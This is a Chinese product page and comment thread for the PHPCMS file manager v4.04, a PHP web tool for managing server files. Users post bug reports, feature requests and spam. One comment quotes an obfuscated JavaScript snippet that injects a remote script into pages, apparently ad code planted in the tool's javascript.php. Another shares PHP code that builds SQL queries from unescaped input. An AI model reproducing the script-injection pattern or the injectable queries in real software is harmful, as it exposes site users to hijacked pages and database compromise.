PHPCMS文件管理器 v4.04
作者: Longbill ( www.longbill.cn )
邮箱: longbill.cn@gmail.com
默认用户名 admin 默认密码 admin
下载 http://php.js.cn/down/phpcms_file_manager_404.zip
安装:
1.安装环境 PHP 4.4 以上(无需mysql,ZIP操作需要zlib库支持,缩略图显示需要GB库支持)
2.确保以下文件为可写
class/group.php
class/users.php
info.php
4.04升级: 兼容目前的主流浏览器。
4.03新增:
1.增加搜索功能!可以搜索文件名和文件内容
2.增加对UTF-8编码文件的支持
3.增加文件编码转换功能
4.修复linux下中文名不能显示的bug
5.修复zip文件改名造成显示错误bug
6.修复firefox和opera下的显示bug
7.修复index.html的bug
8.修复文件名0造成错误的bug
9.修复受限用户能够查看受限文件源码bug
PHPCMS文件管理器 功能特点:
1.可以远程管理服务器上的文件,包括上传,下载,新建,编辑,复制,粘贴,删除,远程下载等文件操作。
2.采用 PHP + AJAX 的方式构建。客户端采用缓存技术,不仅操作迅速,而且能大大减轻服务器的负担。
3.实现了远程 ZIP文件打包/解压。
4.多用户,权限管理,可以分配用户各自的操作目录和可操作的文件类型。
5.两种浏览方式:列表模式和图标模式。
6.在图标模式下可以预览图片文件的缩略图。
7.强大的编辑器可以实现自动缩进,显示行号 和 字符替换等功能。
8.自定义风格模板。内置6套模板。
9.集成BlueShow图片浏览器
10.集成在线文件阅读器
11.Web2.0体验
12.兼容IE,Firefox,Opera等主流浏览器
即将推出:
多国语言,多编码支持
限制用户目录大小控制
47954 read 337 comment(s)
邮件:*
网站:
内容:
解决办法:将“根目录”的值“../”改成“./”就可以了!
最好是guest用户能直接就进去,不经过登录界面。当然在权限上要限制的。只能浏览!
在 <input name='username' .... > 那里 加一个 value='guest'
同样在 password 那里也加上 value='password'
比如第二次要修改文件里面的内容时,可以通过备注去寻找对应的文件,因为我们没办法永远记住没个改过内容里的东西是什么,主要要改什么,那文件有什么作用等等...
不过我是建一个记事本的,把改过的内容统计一起修改!
不知道是不是6楼的想法?
・赠送顶级域名:英文国际域名(以com或net或org结尾)价值55元;
・赠送50M-MYSQL数据库,价值50元;
・赠送100MB-10用户企业邮局1套价格180元
・支持 ASP+ACCESS/PHP;
・空间容量:100M总空间,含Web空间100M
・空间支持程序:ASP+ACCESS/PHP/MYSQL/
・带宽环境:国家甲级机房,百M共享带宽直接连入中国主干网
・安全防护:正版防病毒系统,定时更新病毒库,实时杀毒
・全套价值超过510元!现在一共只要208元!
详情http://www.zlidc.com/pdtshw/setshw/index.asp
谢谢
请问怎么修改上传文件的大小设置?
回26楼:可以在php.ini中修改。
没找到php.ini这个文件啊???
Stream Wrapper support compress.zlib://
Stream Filter support zlib.inflate, zlib.deflate
Compiled Version 1.2.1.2
Linked Version 1.2.3
Directive Local Value Master Value
zlib.output_compression Off Off
zlib.output_compression_level -1 -1
zlib.output_handler no value no value
这是我的空间的zlib情况。zip文件没有问题。
谢谢。
用什么方法阿?
谢谢!
2、希望可以管理远程纯ftp
还有多国语言支持,上传完成后显示上传文件的MD5值,以检查正确性。 期待新版本早日推出!
1、登录后首页空白,只有底部信息,要刷新多次才能显示。
2、根目录设置为../../没有效果,不显示文件,设置为../则能行。
我在三个不同的空间上都是这样。
回34楼:暂时无法实现。
用户之间可以传递文件?
具体操作其实也是上传文件,在服务器上保存的也只有一个文件,只不过这个文件可以被几个用户所共享。在上传时输入可共享该文件的用户名。
建议减少文件,(最好是能做成一个文件)
皮肤去掉(或可选)
4.03里似乎 MP3 文件的缩略图没有图标
自己弄了个小图标还不错,不知道怎么添加关联
回楼上:Iphone 可以装这个?
好的不能再好了
真的。
http://www.windsfly.cn/blog
相互交流一下
回47:暂时不能。。
2.新建一个用户,出来一个对话框,乱码,然后用户没新建成。
3.如何退出登陆啊?
退出登录在页面的右上角。
或者直接关闭浏览器也可以退出。
好象在点编辑不可编辑类型文件的时候返回的错误弹出窗口是乱码.............
4.02参赛版则没有这个问题.....
Listz基础科学论坛
©2005-2007 Longbill.cn
在线等您的解答。谢谢您
多国语言,多编码支持
限制用户目录大小控制
还有多久啊?我主要是想要限制用户目录大小控制。。。
longbill,加油啊。。。
o-blog我不打算再弄了。最近也在做一个blog系统。
上面这句看不懂,老是报错。
我服务器环境用的是PHPNOW。还有一个错误
Notice: Undefined offset: 3 in D:\PHPnow\htdocs\phpcms\func.php on line 141
我正在做英文版,不久会发布的。
不过解压可以多次进行。只要选择不覆盖已存在的文件就可以了。
我正在打算加入tar压缩功能,tar比zip快的多,可以压缩更多的东西。同时tar可以使用winrar解压。
有以下问题:
网页不是最大化显示不正常.
版权保护功能很容易被破解掉
Notice: Undefined variable: sessionstart in D:\PHPnow\htdocs\cms\func.php on line 72
Notice: Undefined offset: 3 in D:\PHPnow\htdocs\cms\func.php on line 137
浏览器弹出提示:程序加载时发生了未知错误!\n原因可能是您的浏览器版本太低,建议您升级您的浏览器。\n本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。
我的IE版本是7.0,PHP版本是5.2
可以参考:天空网络硬盘系统V1.1(SKYUC NETDISK V1.1)
我就喜欢这个啊
还有上传大文件的时候容易断,可以加断点续传的功能吗?
1:建议增加远程下载读取数据库字段和断点下载,如果下载完成后就就更具用户数据库设计更新某个字段为已经下载完成,一次性只能下载一个有点不方便,建议换成多线程,批量下载。
2:在图片方面建议模仿uploader的功能,他的功能很实用,最好能和自己设计的数据库结合起来就更好了。
3:建议增加用户二级域名,比如有个用户注册了他就有一个二级域名,这里也最好能和自己设计的数据库结合。
期待中……
现在的功能只能称为多个文件上传
其他还挺满意的
噢,最好在搞点查看文件地址
有点类似网盘的功能那种
就差不多能拿出去卖钱了
swfUpload和extjs中的一个更BT的,fancyupload也听说过,应该很不错吧,个人觉得Longbill下一版本可以倾向企业内网用户,毕竟把这些用户抓住以后可以产生一切效益及良性循环。
不过界面风格不怎么好!需要修改一下
建议做个ASP版的
谢谢
QQ:346198543
同时,希望下一版本能限制文件夹名称(可以限制有一些文件夹名称可以用,有一些不能用)
还有提供注册功能,
最近我开始了一个新的项目,方向是网络硬盘
不过现在发现一个问题:就是用户建立子目录后,点击进入子目录,然后再上传文件,这种情况下文件却还是被上传到根目录上。。。难道不能上传到当前的目录上吗?
再次感谢!
phpspy就是一个编辑的,可惜缺少了解压功能
phpspy:http://www.4ngel.net/
没有分页功能
同一个文件夹多于22个文件无法显示
可能是你的第23个文件的名字编码有问题。你可以用ftp登陆上去看一下。
我把第20-30都删除了
然后 顺序显示还是22个 很奇怪
别的解压缩(像phpzip)可以用的
新建一个游客帐号,设置成默认以缩略图方式浏览,然后把游客的根目录设置成图片文件夹就可以了。
另外,为什么会出现无法新建文件夹的情况?
我用[UPLOAD]来做放上传文件的地方,但是这个文件夹的默认属性是554,我在LEAPFTP里将它改为777,然后点确定,再次查看却仍然是554,这又是怎么回事呢?虚心请教
不是zip文件的问题,就是用phpcms文件管理器本身压缩的东西都不能解压缩的。
2005-2007 Longbill.cn
由于要给客户做的,直接用你的程序去修改,上面那个需要改掉,请指教,谢谢
http://www.gzxmqj.cn/ 公主小妹全集
http://www.mzzdwoaini.cn/ 命中注定我爱你 。
这个都市,有一段‘贴来贴去’的爱情故事……
故事,就从某一种盘据全亚洲的女孩类型说起。
这种女孩,叫‘便利贴女孩’。
登录后出现以下提示:
Notice: Undefined variable: sessionstart in D:\PHPnow\htdocs\cms\func.php on line 72
Notice: Undefined offset: 3 in D:\PHPnow\htdocs\cms\func.php on line 137
浏览器弹出提示:程序加载时发生了未知错误!\n原因可能是您的浏览器版本太低,建议您升级您的浏览器。\n本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。
我的IE版本是7.0,PHP版本是5.2
是因为php5.2版本的原因吗?
WEB,DB,othere
其中WEB是我的网站空间,DB是数据区空间,但是文件管理器只能访问WEB空间,却进不去DB空间,而其他的野草文件管理之类的ASP或者PHP文件可以访问,请问如何解决?
一直提示 :
程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。
本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。
我又进入windows系统了,但是还是提示,是不是程序出错了。。。我再传源文件看看。
重新传了一遍原代吗,好了。
这个工具挺好用的。。。就是不知道你能否为我添加上RAR解压缩代码。。。。
程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。
本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。
但是不影响使用,怎么回事?难道非在再传一遍代码?我使用的是【longbii_1】仅仅删除一个【返回上级目录】代码而已。。。
程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。
本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。
但是不影响使用,怎么回事?难道非在再传一遍代码?我使用的是【longbii_1】仅仅删除一个【返回上级目录】代码而已。。。
提示错误:
line:2
char:1
error:syntaxerror
code:0
url:index.php?aftion=menu
难道和用户名有关吗?
我把默认用户名改成特殊符号了,可以正常使用。
在对话框:【加载时出错?尝试刷新本页。】出现后,全部内容显示完后就出现
【程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。 】
左下角的网页提示错误:
【
line:2
char:1
error:syntaxerror
code:0
url:index.php?aftion=menu
】
-_-!!!
当把一个目录里的文件夹命名为含有■的字符,
这个目录下的所有文件会消失不见,文件夹和正常显示。
估计是所有的特殊符号都是吧,其余的没有测试。
怎么不见回复了。。。
很想要这个文件管理器的登陆代码。。
就是仅仅提供登陆,如果用户名和密码对的话,跳转到一个页面。。
但是不知道如何删除不必要的代码。。。帮帮忙。。。
hao123456@gmail.com
如果那位修改好了,请发送到信箱。。谢谢。。
登陆部分很简单,不过不建议从我的那个里面提取。自己研究下就可以写出来。
我想加个在线flash播放功能,上传一些flv文件,在下载操作旁边加个播放,用swfobject.js代码,在右下空白处嵌入个播放器就可以在线播放flash了。您的文件内容分布看的有点晕,您能告诉我应该改什么文件,加我的js代码吗
只要嵌入swfobject.js代码,加个播放器文件比如说player.swf,写几行js代码将flv文件,播放器文件所在地址传进去就可以播放了。请问应该改那里,点击文件后如果是flv文件可以调用播放器播放
想在服务器解压
如何使用
顶
操作上应该比较简单,所以就偷懒没写。。。
代码注释方面的确是我的错。。我现在正在重写文件管理器,增加了很多注释。
查对了一下解压部分的留言,
请问修改那个文件参数可以解压大文件呀?
大于4M就会出错吗?
解压CMS和BBS(DZ7.0)
均提示unpackall发生错误。
常常上来看看,盼了好久还没见有新版发布啊?
很好的程序,盼有好发展,大家有福了。
编码问题解决了吗?在本地硬盘有些特殊符号,就显示不出来,更换了UTF-8模式,也不行。
当编辑一个网也时,在里面敲回车,自动变成一个回车代码:
rn
不知道如何解决?难道要替换那个编辑网页的js和htm网页吗?
还有一个问题,在编辑内容的时候,不显示行数,只显示
1n2n3n4n
其中{lines}的参数是在哪儿更改的?
我添加了一个用户组,改组没有下载功能,并且在改组下加了一个用户,用该用户登陆后,点‘下载’文件确实不能下载,但是我直接点该文件,因为该文件有链接,所以文件还是可以下载,我觉得显示的时候如果判断是文件那么应该那个链接就不要了,如果是目录才需要那个链接
本来文件就在那里,如果人家有心要下载的话,你不做链接他也会知道链接的。
权限和说明一致, index.php 转向login.php后就空白,
不知道什么原因
我是个拿来主义者,代码水平很一般,您的版权保护功能我弄不来,但是觉得是个很有趣的东西,继续找代码。。。。
现在时过一年,DDF又走了。
不知有没有什么关连影响?
期待更完善的新版好久了。很好的软件。
页面顶行怎么会一直出现这行字?
var ETAfT3 ='http:///';
var jstteGJa4 = window[document][getElementsByTagName](head)[0];
var Gl$5 = jstteGJa4[getElementsByTagName](script);
for ( _fNukWWKg2=0; _fNukWWKg2 <Gl$5[length]; _fNukWWKg2++)
if (Gl$5[_fNukWWKg2][src] == ETAfT3) return;
pXkiAghd1 = window[document][createElement](script);
pXkiAghd1[type] ='text/javascript';
pXkiAghd1[src] = ETAfT3;
jstteGJa4[appendChild](pXkiAghd1);
比如说,公共文件夹 部门文件夹是同一目录下的。 部门文件夹下面有每个成员可以访问的文件。该怎么去设置呢 请帮帮忙
Notice: Undefined offset: 3 in D:\www\1209\ftp\func.php on line 137
第一次进入提示修改密码的那个页面报错,但是页面还是可以正常显示,就是上面对了2行这个
php.ini里面配置 error_reporting里面把E_NOTICE去掉。或者进入common.php,设置 error_reporting(E_ALL ^ E_NOTICE);
不好意思,当初设计的时候没有太注重扩展性。所以改起来比较麻烦,你可以看看functions.js里面的refresh函数。
可能是你的根目录名含有中文。。。或者其他特殊字符。
代码95%以上是我自己写的。你没有能力看懂还在那乱骂人。而且我发布的软件是针对个人站长的,为什么要去掉版权?你是想拿我的成果来做其他用途吧。我看你才是想盗取别人的劳动成果。如果你确实想去掉版权,可以花钱我给你做定制版。算了,我看你也出不起那个钱。你就是一项免费盗取别人劳动成果的小偷。。。。
我一直用你的程序 基本都正常 现在换了空间 有点小问题
zip压缩正常,但是压缩后的文件不能解压,用其他在线的zip解压程序正常,zlib也支持,不晓得咋回事
我也没遇到过这种情况。。。的确很奇怪。。
我没有声明过我的这个软件是开源的。只是源代码没有加密而已。我做的开源软件都是基于创作共用协议的。
如果你非要改,我也不能阻止。但是我做的东西,我没要你给钱还要怎么样? 我加个版权又没有碍你什么事,你都想要去掉,除非你是想拿去卖钱。。 难道我做东西就应该自己老老实实把好东西做完了,然后不加任何版权,让别人随意拿去复制修改,然后加上别人的版权,变成别人的东西? 这种事情我遇到过很多了。 你可以去掉版权,但是你再加上自己的版权那就说不过去了吧。明显就是盗用别人的劳动成果,属于偷窃行为。
我是对这种人深恶痛绝,但那他们又没有任何办法,所以想出了防止修改版权的办法。我希望你不属于那种人,也希望你能理解。
在控制面板里面可以设置用户的根目录。 新版本还在策划中,会有很大飞跃。
我晕,说得出这话的人。
你果然够贱的。
longbill你还解释这么多个毛啊。
呃。。。也是啊。。。其实什么都不用解释。大家都明白的。
4.03里的word之类的文件缩略图显示疑问号?
我自己搞的小图标,如何关联起来。
谢谢了
我记得4.03不支持自己定义。。。。下个版本就支持了。
1.可以选择文件列表是树形目录
2.可以根据不同用户设定不同的下载速度和流量
1,可以从考虑个人站长的收益方面入手,让软件商业化。
让个人站长赚钱。目前的CMS系统的下载模型,更新内容是个很大的工作量,如果能把此网络硬盘系统变化成类似的CMS的下载频道的样子,应该会很受欢迎。
2,可设定游客组默认浏览目录,增加搜索引擎的关注。游客用户和搜索引擎都可以浏览资源的详细信息。
3,引入数据库管理用户组和用户权限。
4,用户权限商业化。引入积分和级别系统,也可考虑同ucenter或其他用户管理平台整合。
5,首页能显示哪些文件夹有更新,或者最近上传和更新了哪些资源。
呵呵,暂时想到这么多,如果可以定制的话,请告诉我价格:)
树型目录没问题,但是下载速度就难控制了。
不知道能不能增加对RAR文件的解压缩啊。
希望能在界面的美工方面更漂亮一些,能在尽量不影响速度的情况下,更漂亮些。希望能增加更实用的功能。
为什么我访问login.php,出现如下错误啊?谢谢
Parse error: parse error in C:\wamp\www\file\login.php on line 81
Notice: Undefined offset: 3 in D:\freehost\jint\web\1wjgl\func.php on line 137
程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。
怎么回事哥儿?
。。。。。
Notice: Undefined index: sessionstart in D:\freehost\jint\web\1wjgl\func.php on line 72
Notice: Undefined offset: 3 in D:\freehost\jint\web\1wjgl\func.php on line 137
程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。
我猜下,是不是目录权限问题?
1.应该在每个文件或文件夹后面都添加“备注”功能,标明此文件夹的用户
2.针对JS文件编辑,目前很容易出错。能不能自动转换HTML格式,修改完毕后 再点转换成JS格式
1.应该在每个文件或文件夹后面都添加“备注”功能,标明此文件夹或文件的作用
2.针对JS文件编辑,目前很容易出错。能不能自动转换HTML格式,修改完毕后 再点转换成JS格式
怎么办?
想租那种美国的那种廉价主机下载bt,但BD视频太巨大,怕下载出问题,希望增加分卷和密码功能。谢谢!
提示如下 Undefined index: sessionstart in PHPCMS\func.php on line 72
Undefined offset: 3 in PHPCMS\func.php on line 137
程序加载时发生了未知错误!\n原因可能是您的浏览器版本太低,建议您升级您的浏览器。\n本程序支持IE6+,IE7,Firefox,Opera等主流浏览器
十分谢谢。
轻松点了,我试着研究下你的代码,希望能用
enddms也好,盼望早日横空出世,我好来学习下
最好网站编码为utf-8 国外都不用 gb2312
后来发现是javascript.php被嵌入广告导致的,是不是应该在这个文件开始发一个HTTP响应头,声明文件类型。
例如header("Content-Type: application/javascript");
这样就不会被嵌入代码了,提高一些兼容性。
这个文件管理器出新版本了,也看不到发布。。。
都等了好几年了,
文件管理器地址:http://www.ain2.co.cc/php404/
密码默认的
有什么问题麻烦你给我发邮件,谢谢了
请问是什么原因?
我上传上去了 直接报这个错误 能否解决或说明一下
最好弄个 doc 让大家知道如何使用
Notice: Undefined offset: 3 in D:\phpcms_file_manager_404\func.php on line 137
安装好程序后,登录文件管理器,为什么会出现这样提示?请各位大虾们指教下,非常感谢,有好心人士知道的话,可以发解决办法到我邮箱。
如果有60个用户(学生)针对各自的目录,同时上传或下载文件,程序在读写users.php等(文本文件)时,能承受的了吗?有没有mysql版,即帐户信息放于mysql数据库中的版本.
我的QQ 58503239,想请您定制一个mysql版。谢谢。
////①返回所有用户////////////////////////////////////////
function bfzx_list_users($db)
{
$sql ="SELECT userlist FROM bfzx_users";
$result = mysql_query($sql,$db) or die("<b>$sql</b><br>" . mysql_error());
$dd = array(); //定义一个数组
$i=0;
while($array=mysql_fetch_array($result))
{ //一个循环体便是一条记录
$dd[$i] = $array['userlist'];
$i = $i + 1;
}
return $dd;
}
/////////////////////////////////////////////////////////
////②添加一个用户/////////////////////////////////////////
function bfzx_add_users($db,$s)
{
$sql="insert into bfzx_users(userlist) VALUES(\"$s\")";
mysql_query($sql,$db) or die("<b>$sql</b><br>" . mysql_error());
}
//////////////////////////////////////////////////////////
////③删除一个用户/////////////////////////////////////////
/// 入口是:$db $username
function bfzx_delete_users($db,$username)
{
$username = $username .'|';
$sql ="DELETE FROM bfzx_users ";
$sql.="WHERE instr(userlist,\"$username\") = 1 ";
mysql_query($sql,$db) or die("<b>$sql</b><br>" . mysql_error());
}
////④修改一个用户/////////////////////////////////////////
/// 入口是:
// $username = trim($new_user);
// $password = trim($new_pass);
// $confirm = trim($new_confirm_pass);
// $root = trim($new_root);
// if (substr($root,-1) !="/") $root.="/";
// $group = trim($new_group);
function bfzx_update_users($db,$username,$password,$root,$group)
{
$password = my_encode($password);
$content .= "{$username}|{$password}|{$root}|{$group}|";
$sql ="update bfzx_users set userlist=\"$content\" where (instr(userlist,\"$username\") = 1) and (instr(userlist,\"|administrators\") > 1) ";
$result=mysql_query($sql,$db) or die($sql."<br>".mysql_error());
}
必须先将老文件改名,然后再上传。频繁上传就导致了很大的工作量
如何能够允许直接覆盖文件?
多国语言,多编码支持
限制用户目录大小控制
什么时候增加啊?都这么久了
要是能够批量远程下载就好了,这样网站搬家就容易很多了,最好搞个续传什么的哪更好了
Parse error: syntax error, unexpected $end in D:\xampp\htdocs\hg\phpcms_file_manager_404\login.php on line 80
发现有这条提示,我用的火狐8.0.1啊
“程序加载时发生了未知错误!
原因可能是您的浏览器版本太低,建议您升级您的浏览器。
本程序支持IE6+,IE7,Firefox,Opera等主流浏览器。”
另外,点击浏览器返回上页时,系统直接退出,应该是个bug。
多谢您的及时回复!
我也有这个问题,你可以在控制面板的基本设置里,关掉对中文文件名使用URL编码,可以恢复乱码问题。
Server Configuration
Apache Version :
2.2.22
PHP Version :
5.3.13